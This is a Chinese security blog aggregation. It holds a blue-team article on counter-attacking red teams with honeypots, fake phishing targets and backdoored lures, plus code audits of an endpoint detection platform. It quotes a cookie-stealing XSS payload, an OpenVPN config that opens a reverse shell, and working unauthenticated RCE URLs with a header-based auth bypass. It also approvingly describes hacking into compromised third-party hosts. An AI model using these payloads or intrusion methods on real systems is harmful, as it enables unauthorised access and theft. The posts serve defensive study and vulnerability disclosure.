Aggregator
Every Application Should Be Behind a WAF
DDCTF 2020 Writeup
今年改了赛制, 可以两人组队, 我觉得改的还是不错的, 终于不用现场表演学习逆向和 pwn 了, 成功和 Ary 师傅打到了第三 233
对数据安全的一些思考
对数据安全的一些思考
WebLogic 反序列化CVE连环三连击
WebLogic 反序列化CVE连环三连击
WebLogic 反序列化CVE连环三连击
WebLogic 反序列化CVE连环三连击
WebLogic 反序列化CVE连环三连击
WebLogic 反序列化CVE连环三连击
WebLogic 反序列化CVE连环三连击
Threat modeling a machine learning system
This post is part of a series about machine learning and artificial intelligence. Click on the blog tag “huskyai” to see all the posts, or visit the machine learning attack series overview section.
In the previous post we walked through the steps required to gather training data, build and test a model to build “Husky AI”.
This post is all about threat modeling the system to identify scenarios for attacks which we will perform in the upcoming posts.
MLOps - Operationalizing the machine learning model
This post is part of a series about machine learning and artificial intelligence.
In the previous post we walked through the steps required to gather training data, build and test a model.
In this post we dive into “Operationalizing” the model. The scenario is the creation of Husky AI and my experiences and learnings from that.
Part 3 - Operationalizing the Husky AI modelThis actually took much longer than planned.
Since I used TensorFlow, I naively thought it would be very straight forward to implement a Golang web server to host the model. Turns out that TensorFlow/Keras is not that as straightforward to integrate with Golang, it requires a lot of extra steps. So, I ended up picking Python for the web server.
Husky AI: Building a machine learning system
This post is part of a series about machine learning and artificial intelligence.
In the previous post we described the overall machine learning pipeline.
In this post we dive into the technical details on how I built and trained the machine learning model for Husky AI.
After reading this you should have a good understanding around the technical steps involved in building a machine learning system, and also some thoughts around what can be attacked.
黑苹果的历史
The machine learning pipeline and attacks
This post is part of a series about machine learning and artificial intelligence.
In the previous post I talked about good resources for learning more about artificial intelligence and machine learning in general, and how I started my journey in this space.
The next few posts will be about Husky AI.
What is Husky AI?Husky AI allows a user to upload an image, and get an answer back if the image contains a husky or not. Below is a screenshot of the application:
浅谈蓝队反制手段
网络安全攻防演习在国内已经逐渐常态化,从行业、区域(省份、地市)到部级…
2020年1月份开始到现在可以说基本上每个月都有1-3场HW,红与蓝的对抗从未停息。
红队的攻击技巧可以无穷无尽(扫描器、社工、0day、近源…),但是对于蓝队防守来说除了演习中常规的封IP、下线业务、看日志分析流量等“纯防守”操作以外,似乎实在是没有什么其他的防御手段了。
笔者在参与的几场攻防演习项目中担任“蓝队防守”角色,就发现了这一缺陷,似乎安全防御基础较弱的厂商再怎么充足的进行演习前准备,都只有乖乖的等待被“收割”。
转换一个思维,化被动为主动,尝试用“攻击”思路代入“防守”中,对“红队”进行反向捕获(反制)。
本文将总结案例和“反制”手段,文中不足之处还望各位斧正。
反制手段 蜜罐篇 蜜罐设备大部分厂商为了争取得到一些分数,都会采购/借用一些厂商的蜜罐设备,但蜜罐也分两类:传统、现代,两者从本质上还是有一定区别的,这里我简单说一下自己的理解。
传统蜜罐:蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的防御能力。
现代蜜罐:除了捕获分析攻击行为外,各类安全厂商在蜜罐产品中加入了“攻击者画像”这一功能作为“卖点”,而本质上攻击者画像是将第三方厂商漏洞转为画像探针,利用第三方厂商漏洞获取攻击者所在此类厂商网站业务上的个人信息,此类漏洞多半为前端类漏洞,例如:JSONP、XSS…除此之外还有网站伪造、自动投放蜜标等等众多丰富的功能。
所以传统蜜罐厂商在这一块的被“需要”不大,而现代蜜罐厂商在这一块往往有需要性很多,就冲“攻击者画像”这一方面在演习过程中就可以为防守方加分。
蜜罐的反制现代化蜜罐都做了哪些反制的操作呢?
- 可克隆相关系统页面,伪装“漏洞”系统
- 互联网端投饵,一般会在Github、Gitee、Coding上投放蜜标(有可能是个单独的网站地址、也有可能是个密码本引诱中招)
- 利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份(网络画像)
这样其实一条捕获链就出现了(仅仅是举例,其实更多的是对方在做信息收集的时候探测到了此端口):
蜜罐的一些功能细节不过多赘述,比如利用JavaScript辨别人机、Cookie中种入ID防止切换IP之类的…如有兴趣想深入了解的朋友可以去相关厂商官网下载白皮书观看。
注:在实战演习过程中,仍然有许多攻击者中招,蜜罐会存储身份数据,并且会回传至厂商进行存储。
场景篇 主动攻击“攻击IP”防守日常就是看流量、分析流量,其中大部分都为扫描器流量,由于一般扫描器都会部署在VPS上,因此我们可以结合流量监测平台反向扫描。
导出演习期间攻击IP列表,对IP进行端口扫描,从Web打入攻击IP机器内部。
发现了一堆攻击IP机器上Web服务的漏洞:SQL注入、弱口令…拿下了一堆机器,也发现了大部分都是“被控主机”,而非购买的VPS,上面也大多是一些正常业务、非法业务在运转。
除此之外,我们对所拿下的主机进行信息收集,发现了一个有意思的点,大部分机器为WAMP(Windows + Apache + Mysql + PHP),而根目录都存在着一个文件images.php。
这是一个PHP脚本后门,我们通过分析该PHP文件又拿下数十台机器,对每台机器进行日志收集,分析IP关联性…整理报告上交裁判组判定。
邮件钓鱼反制安全防护基础较好的厂商,一般来说除了出动0day,物理近源渗透以外,最常见的就是邮件钓鱼了,在厂商收到邮件钓鱼的情况下,我们可以采取化被动为主动的方式,假装咬钩,实际上诱导攻击者进入蜜网。
北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大。 受影响操作系统版本: | Windows 7 | Windows Server 2008 R2 | Windows Server 2008 | Windows Server 2003 | Windows XP 由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害,由总行信息科技部研究决定,先推行紧急漏洞加固补丁,确保业务网、办公网全部修补漏洞,详情请阅读加固手册。 加固补丁程序解压密码:xxxx xx信息科技部 xxxxx xxx年xx月xx日在某次演习期间,我们防守的客户单位就收到了钓鱼邮件,庆幸的是客户总体安全意识很强,加上有邮件沙箱的加持,并没有实际人员中招,而我们将计就计,部署一套虚假的内网环境,伪造钓鱼邮件中招假象,中招人员画像和机器环境编排:
名字:许晋 (jinxu)
身份:巡检职员
平时上机内容:看视频、打游戏、巡检
系统软件:Office三件套, 搜狗输入法, QQ, 微信, Xmind, 谷歌浏览器, Winrar, 迅雷, 百度网盘, Everything, 爱奇艺, 腾讯视频, QQ音乐, 网易云音乐, FastStone Capture….
系统环境:除了部署一些常见的系统软件,我们还要创建一系列工作文档(手工伪造、由客户提供非敏感公开数…),并在众多的工作文档中携带了我们部署的免杀后门(伪装成VPN安装包或办公软件)。
目的:点开钓鱼邮件的附件,假装中招后,让攻击者在翻当前PC机器的时候寻找到我们投下的假密码本,并结合VPN安装包,使得攻击者下载VPN安装包并进行安装,从而进行反向控制。
其中具体细节不过多赘述,套路都一样,在多次演习中都成功的反制到了攻击队的VPS,甚至在演习中我们拿下了攻击队的终端PC…
盲打攻击反制盲打攻击算是在演习中比较不常见的了,因为其效率不高,没办法直接的直控权限,但在攻击方穷途末路的时候往往也会选择使用盲打漏洞的方式来获取权限进而深入,比较常见的就属于盲打XSS了。
一般盲打XSS都具备一个数据回传接口(攻击者需要接收Cookie之类的数据),接口在JavaScript代码中是可以寻找到的,我们可以利用数据回传接口做2件事情:
- 打脏数据回传给XSS平台(捣乱)
- 打虚假数据回传给XSS平台(诱导)
通常选择第二种方式更有意义,当然实在不行的情况下我们还是可以选择捣乱的…
首先,我们获取到了XSS盲打的代码:
'"><sCRiPt sRC=https://XXXX/shX36></sCrIpT>跟进SRC属性对应值(地址),获得如下JavaScript代码:
(function(){(new Image()).src='https://XXXX/xss.php?do=api&id=shX36&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='https://XXXX/xss.php?do=keepsession&id=shX36&url='+escape(document.location)+'&cookie='+escape(document.cookie)};通过该段代码我们可以知道数据都回传到了这个接口上:https://XXXX/xss.php?do=api&id=shX36&location=地址&toplocation=地址&cookie=Cookie信息&opener=
我们制定了一个计划:发送假数据前往攻击者所使用的XSS信息接收平台,诱导攻击者进入蜜罐。
资源准备:公网域名解析蜜罐地址(需要客户网络安全部门具备一定的权利),蜜罐(需要具备蜜罐产品)伪造假后台,并部署虚假准入客户端下载;(【细节】当攻击者Cookie伪造进后台时会提示:当前登录IP不在准入名单)
万事俱备只欠东风,对应参数传入虚假诱导数据(Location地址为查看留言信息的地址,Toplocation为引用该界面的地址,将用户名、密码写入到Cookie中配合“准入客户端”的诱导攻击)发送过去,等待攻击队上钩。
技巧篇技巧篇不过多讲解,懂得自然懂。
虚假备份文件配合蜜罐部署虚假漏洞,例如备份文件(WWW.rar)配合CVE-2018-20250漏洞。
参考:https://github.com/WyAtu/CVE-2018-20250
OpenVPN配置后门OpenVPN配置文件(OVPN文件,是提供给OpenVPN客户端或服务器的配置文件)是可以修改并加入命令的。
OVPN文件最简单的形式如下:
remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun以上文件表示,客户端会以开放的,不用身份验证或加密方式去连接IP为192.168.31.137的远程服务,在此过程中,会建立一种名为tun的路由模式,用它来在系统不同客户端间执行点对点协议,例如,这里的tun路由模式下,tun客户端为10.200.0.2,tun服务端为10.200.0.1,也就是本地的tun设备地址。这里的三行OVPN配置文件只是一个简单的示例,真正应用环境中的OVPN文件随便都是数百行,其中包含了很多复杂的功能配置。
OpenVPN 配置功能的 up 命令可以使得添加配置文件后执行我们所想让其执行的命令,官方文档中有说明:https://openvpn.net/community-resources/reference-manual-for-openvpn-2-0/
成功启用 TUN/TAP 模式后的 cmd 命令。
该cmd命令中包含了一个脚本程序执行路径和可选的多个执行参数。这种执行路径和参数可由单引号或双引号,或者是反斜杠来强调,中间用空格区分。up命令可用于指定路由,这种模式下,发往VPN另一端专用子网的IP流量会被路由到隧道中去。
本质上,up命令会执行任何你指向的脚本程序。如果受害者使用的是支持/dev/tcp的Bash命令版本,那么在受害者系统上创建一个反弹控制 shell 轻而易举。就如以下OVPN文件中就可创建一个连接到 192.168.31.138:9090 的反弹shell。
remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.31.138/9090 0<&1 2>&1&'"需要注意的是,up 命令需要成功连接主机才会执行,也就是说192.168.31.137需要真实存在。
兵器漏洞可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞(需要一定的技术水平),或利用历史漏洞部署相关环境进行反打,例如蚁剑:https://gitee.com/mirrors/antSword/blob/master/CHANGELOG.md
历史版本中出现诸多XSS漏洞->RCE:
文末只要思维活跃,枯燥无味的一件事情也可以变得生动有趣,生活如此,工作亦如此。
蓝队反制,需要具备这几个条件才能淋漓尽至的挥洒出来:
- 客户安全相关部门的权力要高
- 以自家厂商为主导的防守项目
- 最好具备现成的现代蜜罐产品
未来,攻防对抗演习不仅仅是前几年所展示的那样:蓝队只要知道防守手段;而趋势将会慢慢的偏向于真正的攻防,蓝队不仅要会基本的防守手段,还要具备强悍的对抗能力,与红队进行对抗,这对蓝队成员的攻防技术水平也是一种更高的考验。
最后的最后:HACK THE WORLD - TO DO IT.
Reference对某攻击队的Webshell进行分析 - https://gh0st.cn/archives/2019-08-21/1
从OpenVPN配置文件中创建反弹Shell实现用户系统控制 - https://www.freebuf.com/articles/terminal/175862.html
某终端检测响应平台代码审计分析
2020年08月17日收到一条漏洞情报,某终端检测响应平台代码未授权RCE:/tool/log/c.php?strip_slashes=system&host=id
参数:host,可以修改任意的系统命令进行执行。
原理分析首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制,所以我们只需要看一下请求参数是如何传递的,搜索关键词:
$_POST $_GET $_REQUEST在代码第144行、146行分别调用了变量匿名函数,并将$_REQUEST作为传递参数:
$show_form($_REQUEST); ... $main($_REQUEST);先跟进$show_form这个匿名函数:
$show_form = function($params) use(&$strip_slashes, &$show_input) { extract($params); $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; $path = isset($path) ? $strip_slashes($path) : ""; $row = isset($row) ? $strip_slashes($row) : ""; $limit = isset($limit) ? $strip_slashes($limit) : 1000; // 绘制表单 echo "<pre>"; echo '<form id="studio" name="studio" method="post" action="">'; $show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1")); $show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce")); $show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. \s[w|e]\s")); $show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100")); echo '<input type="submit" id="button">'; echo '</form>'; echo "</pre>"; };变量匿名函数 $show_form 具有一个形式参数 $params 在这里也就是array("strip_slashes"=>"system","host"=>"id");
接下来执行extract($params);,后进入如下代码:
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";在这个过程中就产生了漏洞,想要了解具体原因,我们需要了解extract函数的作用,该函数是根据数组的key=>value创建变量$key=value(官方解释:extract — Import variables into the current symbol table from an array)
知道其函数作用之后,我们就大致明白漏洞原因了。
首先函数传入参数值为array("strip_slashes"=>"system","host"=>"id");
经过extract()函数后,赋值了2个变量:
$strip_slashes = 'system'; $host = 'id';在第91行代码,变量$host利用三元运算重新赋值$strip_slashes($host)
而实际上其赋值内容是函数system('id')的返回结果,这也就造成了命令执行漏洞。
同类漏洞寻找首先在全局文件中搜索$_GET、$_POST、$_REQUEST和extract(,其次在这些文件中使用正则寻找变量函数传递变量:\$[a-zA-Z0-9_]*\(\$[a-zA-Z0-9_]*\)
Linux grep寻找命令:
grep -E "\$_GET|\$_POST|\$_REQUEST" . -r --include \*.php -v | grep "extract(" -v | grep -E "\\\$[a-zA-Z0-9_]*\(\\\$[a-zA-Z0-9_]*\)"简单分析获得了另外三处RCE:
/tool/php_cli.php?strip_slashes=system&code=id /tool/ldb_cli.php?strip_slashes=system&json=id /tool/mdd_sql.php?strip_slashes=system&root=id但无法真正利用,三处文件开头都有一个类似文件存活的判断,不存在代码则die退出,而默认环境上是存在:
最后该套程序还有诸多漏洞未被披露出来,建议采用ACL控制访问或下线该业务,等待官方升级补丁。
某终端检测响应平台代码审计挖掘(权限绕过)
前几天收到某终端检测响应平台代码未授权RCE的漏洞情报,基本上被师傅们玩的差不多了,基于其他社群传出的源代码进行代码审计挖掘。
本文不会对太多细节进行描述,仅做一个流程分析和梳理,文中若有不当之处还望各位师傅斧正。
审计流程其源代码的大致目录如下:
. ├── cascade ├── dbint64_to_array.php ├── dbstr_to_int64.php ├── diskio ├── get_auth.php ├── heart_aware.php ├── kill.exe ├── lang ├── ldb ├── ldb.js ├── ldb_collect.php ├── ldb_daemon.php ├── ldb_manage.php ├── ldb_mapreduce.php ├── ldb_master.php ├── ldb_rest.php ├── ldb_rfs.php ├── ldb_stream.php ├── license ├── link_log_second_convert.php ├── locks ├── manage ├── mapreduce ├── mdb ├── mdb.ini ├── mdb_console.php ├── mdb_server.php ├── misc ├── modify_detect_engine_config.php ├── mongo ├── mongo.exe ├── mongo_config ├── mongod ├── mongodump ├── mongoexport ├── mongoexport.exe ├── mongoimport ├── mongoimport.exe ├── mongorestore ├── netshare.bat ├── patch_upgrade_ipc.php ├── php-fpm-start.sh ├── php-trace ├── phptrace ├── platform ├── start.php ├── start.sh ├── start_mongo.sh ├── start_mongo_for_log.sh ├── sync_execute.php ├── timing_update.php ├── unzip ├── update_virusandavscan.php ├── web └── zip其中/web为Web服务目录,文件均可通过HTTP服务进行访问,顾我们从该目录下的文件下手审计。
ldb_mapreduce_invoke 函数分析不是一把梭的0day都不叫0day,寻找能勾起兴趣的文件,发现了它(文件名带有upload)/bin/web/divideUploader.php:
if($_SERVER['REQUEST_METHOD']=="POST"){ //超时开关打开,后台登录时间不刷新 $update = (isset($_POST['auto']) && $_POST['auto'] == AUTO_FLASH_SWITCH) ? false : true; ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update); ... }访问没有做限制,只要HTTP请求类型为POST就进入上传功能代码逻辑流程,三元运算很简单不用看,我们来看下这段代码:
ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update);跟进函数:ldb_mapreduce_invoke,文件:/bin/mapreduce/core.php(line 19):
/* * 全局的mapreduce对象,提供所有map/reduce工作器件的注册和获取接口 */ $ldb_mapreduce = (object)array(); /* * 调用mapduce接口,变参 * @return mix 返回调用接口的返回值 */ function ldb_mapreduce_invoke() { global $ldb_mapreduce; $params = func_get_args(); if (!count($params)) { return false; } //判断参数个数,如果为0则return false; $func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; } $params[0] = $ldb_mapreduce; return call_user_func($ldb_mapreduce->$func, $params); }接收自定义参数列表:$params = func_get_args();( 该函数以数组形式返回,获取当前函数的所有传入参数值 ),在这就是array('call_method','util.common.auth', 'app_auth_check', $update)
赋值( $params[0] = 'call_method' ) $func,检查 $func 属性是否存在于指定的类( $ldb_mapreduce )中:
$func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; }最后call_user_func函数回调,调用$ldb_mapreduce->call_method方法,继续跟进此方法( line 239 ):
$ldb_mapreduce->call_method = function ($params) { if (count($params) < 3) { return false; } $object = array_shift($params); $id = array_shift($params); $method = array_shift($params); $object = call_user_func($object->get, array($object, $id)); if (!is_object($object) || !property_exists($object, $method) || !is_callable($object->$method)) { return false; } return call_user_func_array($object->$method, $params); };简单理解,这是一个匿名函数,形参 $params( 在这里也就表示array($ldb_mapreduce, 'util.common.auth', 'app_auth_check', $update) ),判断 $params 数组长度是否小于3,在这里明显不小于,所以继续跟进赋值变量,其一一对应内容为:
$object = array_shift($params); // -> $ldb_mapreduce $id = array_shift($params); // -> util.common.auth $method = array_shift($params); // -> app_auth_check赋值完成之后进入回调函数:$object = call_user_func($object->get, array($object, $id));,调用$ldb_mapreduce->get传入array($object, $id)),接下来继续跟进$ldb_mapreduce->get:
/* * 获取组件 * @param array $params 参数数组,array(对象, 名称) * @return callable 返回组件构造器,如果没有构造器返回null */ $ldb_mapreduce->get = function ($params) use(&$store_root) { //ldb_info("get params: ".json_encode($params)); list($object, $id) = $params; if (!strstr($id, "@")) { $id = "$id@ldb"; } $fields = preg_split("/[\.\\\\\\/]+/", $id); if (!count($fields)) { return null; } $component = $fields[0]; //ldb_info("$component"); $id = implode("/", $fields); list($path, $base) = explode("@", $id); if (!property_exists($object, $component) || !array_key_exists($id, $object->$component)) { if ($base == "ldb") { $php = dirname(__FILE__)."/$path.php"; } else { $php = "$store_root/$base/bin/$path.php"; } if (!file_exists($php)) { return null; } if (!class_exists("Error")) { require_once($php); } else { try { require_once($php); } catch (Error $e) { ldb_die($e); } } //ldb_info("id: ".$id.",component: ".$object->$component); if (!array_key_exists($id, $object->$component)) { ldb_info("! array_key_exists"); return null; } } $components = $object->$component; return $components[$id]; };由于代码过长,很多可以直接在本地调试输出,大概解释下这里的意思,就是将$id = 'util.common.auth';处理变成路径$php = dirname(__FILE__)."/$path.php";,结果就是/bin/mapreduce/util/common/auth.php
接着require_once( 包含 )这个文件,最后将auth.php文件公开的注册接口返回:
至此,我们对ldb_mapreduce_invoke函数的分析就差不多了,最后又是一个call_user_func回调函数调用auth.php接口app_auth_check:
return call_user_func_array($func, $params); app_auth_check 函数分析app_auth_check函数就是检测当前是否具备访问接口权限下,代码如下:
$app_auth_check = function ($update=true) use(&$login_authed_check, &$sess_keyvalue_get, &$timeout_check, &$dc_session_destroy, &$login_redirect, &$super_ip_check){ // 自动化放开权限检查 if (ldb_auto_check()) { return true; } // 如果是后台调用app,则不进行权限检查 if (ldb_is_cli()) { return true; } //如果是通过特权IP登陆,则不需要进行权限检查 $is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; } call_user_func($timeout_check, $update); // 检测是否登录 $login = call_user_func($login_authed_check); if ($login == false) { call_user_func($login_redirect); return false; } // 进行控制台登陆超时检测 /* // app权限检测 $user_auth_info = call_user_func($sess_keyvalue_get, "auth_page_info"); // 检查授权 if (isset($user_auth_info["$page_id"]["auth"])) { $auth = $user_auth_info["$page_id"]["auth"]; if ($auth === true) { return true; } } return false; */ return true; };逐个逻辑跟进分析即可,最后发现特权IP登陆的判断有问题:
$is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; }跟进函数super_ip_check,发现这里获取的了HTTP请求头($_SERVER["HTTP_Y_FORWARDED_FOR"] = Y-Forwarded-For)与$super_ip进行判断:
$super_ip_check = function() use(&$get_super_ip, &$super_user_check){ $super_ip = call_user_func($get_super_ip); $user_addr = $_SERVER["HTTP_Y_FORWARDED_FOR"]; if($user_addr == $super_ip){ return true; } else{ return call_user_func($super_user_check); } };阅读以上代码知道$super_ip是通过回调函数调用get_super_ip的结果,这里还需要再跟进get_super_ip函数:
$get_super_ip = function(){ $super_ip_config = ldb_ext_root()."../../dc/config/cssp_super_ip.ini"; $super_ip = ""; if(file_exists($super_ip_config)){ $super_config_data = parse_ini_file($super_ip_config, true); $super_ip = isset($super_config_data["config"]["super_ip"]) ? $super_config_data["config"]["super_ip"] : ""; } return $super_ip; };在这段代码中我们得知其需要获取cssp_super_ip.ini文件的内容赋值变量$super_ip再进行return $super_ip,但默认环境下该文件不存在的,也就是说变量$super_ip默认就是空的。
那么我们只需要满足$user_addr == $super_ip这个条件,即可绕过这个函数(权限)检测,简而言之就是请求接口时带有请求头Y-Forwarded-For:即可。
漏洞利用继续跟进divideUploader.php发现没办法直接利用(限制了上传路径和后缀):
只能上传指定后缀到指定目录:
全局搜索app_auth_check函数发现/bin/mapreduce/目录下的很多接口都在最开始加了一层app_auth_check函数用来做权限判断,那么我们这时候就差一个接口调用的入口即可未授权调用所有接口了。
只能在/bin/web可直接访问目录下寻找,发现/bin/web/launch.php文件,其文件注释就表明了这个文件是应用程序通用执行入口,可以通过分析的方式构建请求( 由于分析逻辑较简单这里就不带大家过一遍了,可以自自行分析 ),也可以通过前台的方式直接抓到该文件的请求:
POST请求传递JSON数据:
{"opr":"dlogin","app_args":{"name":"app.web.auth.login","options":{}},"data":{"key":175643761}}其对应关系如下
app_args.name - 对应调用的接口文件 opr - 对应调用的公共接口函数 data - 对应公共接口函数逻辑所需的参数这里简单翻了下/bin/mapreduce/目录下的一些接口,根据其判断逻辑构建请求包,这里以获取所有终端列表为例( 未授权 ):
未加Y-Forwarded-For头请求,提示需要登陆:
添加后权限绕过,直接可以获取数据:
最后此漏洞危害可以多接口搭配未授权下发脚本,控制所有植入Agent的服务器权限,影响版本:<3.2.21
吐槽:这套产品的代码逻辑真的太花里胡哨了,逻辑绕来绕去,阅读时可能需要一定耐心,文中省略了一些细节,但我已经尽量写的让大家能明白整个核心逻辑,感谢阅读。